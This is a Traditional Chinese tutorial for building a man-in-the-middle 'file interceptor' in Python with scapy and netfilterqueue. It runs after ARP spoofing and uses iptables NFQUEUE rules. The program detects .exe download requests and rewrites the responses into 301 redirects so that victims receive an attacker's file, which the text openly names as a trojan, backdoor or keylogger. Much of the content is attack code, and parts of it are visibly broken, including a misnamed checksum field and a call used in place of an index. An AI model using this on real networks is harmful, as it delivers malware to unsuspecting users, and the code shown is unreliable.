在此教學中解釋如何使用 Python 開發一個基本的檔案攔截器程序。記住,在運行此程序之前,我們需要運行 ARP 欺騙程序。然後運行 iptables 命令。
如果你的目標是遠端電腦,請使用以下命令將 FORWARD 鏈重定向到您的佇列。
iptables -I FORWARD -j NFQUEUE --queue-num 0
如果你在本地機器上進行測試,則重定向 INPUT 和 OUTPUT 鏈。
iptables -I INPUT -j NFQUEUE --queue-num 0 iptables -I OUTPUT -j NFQUEUE --queue-num 0
檔案攔截器(File Interceptor)如何工作?
將編寫一個程式來偵測使用者何時請求下載某個檔案,然後用其他檔案替換該檔案。
偵測後,我們向用戶提供不同的檔案,該檔案也可能是惡意的,可能是後門、木馬或鍵盤記錄器之類的東西。
實作
以下為完整程式碼:
Step1. 攔截數據封包
1. 導入 scapy 和 netfilterqueue 模塊。然後定義一個函數,把抓到的封包轉換成 scapy 封包,方便以後修改。
import netfilterqueue import scapy.all as scapy def process_packet(packet): # converting the packet into a scapy packet for modification pkt_scapy = scapy.IP(packet.get_payload())
2. 檢查了數據封包是否包含 HTTP 層,並通過使用以下程式將請求和響應分開。
# to check whether a packet contains the HTTP layer or not if pkt_scapy.haslayer(scapy.Raw): # checking if the destination port is 80, it means that the packet is leaving from our computer and going towards the http port if pkt_scapy[scapy.TCP].dport == 80: print("[*] This is an HTTP REQUEST ") # checking if the source port is 80, it means this packet is leaving from the http port elif pkt_scapy(scapy.TCP).sport == 80: print("[*] This is an HTTP Response ")
Step2. 修改數據封包
創建了一個列表,有用的信息被加到列表中,其餘的信息通過使用以下程式從列表中刪除。
acknowledge_list = [] # appending values if "exe" in pkt_scapy[scapy.Raw].load: print("[*] exe Request") acknowledge_list.append(pkt_scapy[scapy.TCP].ack) # eliminating values if pkt_scapy[scapy.TCP].seq in acknowledge_list: acknowledge_list.remove(pkt_scapy[scapy.TCP].seq) print("[*] Replacing File ")
Step3. 替換下載檔案
將在這個程式中使用 301 狀態代碼,因為我們打算重定向客戶端的請求。所以,我會把這個狀態碼的伺服器響應添加到我們的程序中。我只需要將 Location 替換為我希望用戶下載的文件的位置。
HTTP/1.1 301 Moved Permanently Location: https://www.example.org/index.asp
這是在程式中使用它的方式:
pkt_scapy[scapy.Raw].load = "HTTP/1.1 301 Moved Permanently\nLocation: https://www.example.org/abc.exe\n\n"
現在,將從我們的響應中刪除一些字段,因為值已被修改,長度以及校驗和已更改。所以,我們不能使用舊的。我將通過定義一個函數來刪除它們:
def setting_load(packet, load): packet[scapy.Raw].load = load del packet[scapy.IP].len del packet[scapy.IP].chksm del packet[scapy.TCP].len del packet[scapy.TCP].chksm return packet
運行檔案攔截器程式
安裝依賴項:
# pip install NetfilterQueue # pip install scapy
現在在我們執行它之前,記住我們需要成為一個中間人,所以讓我們執行之前教程中製作的 arp 欺騙腳本。
讓我們執行我們剛剛創建的檔案攔截器:
python file_interceptor.py
一旦受害者試圖在他的機器上下載任何文件,新替換的文件將自動下載到他的計算機上,而不是合法文件。我們可以添加任何惡意文件、木馬或後門。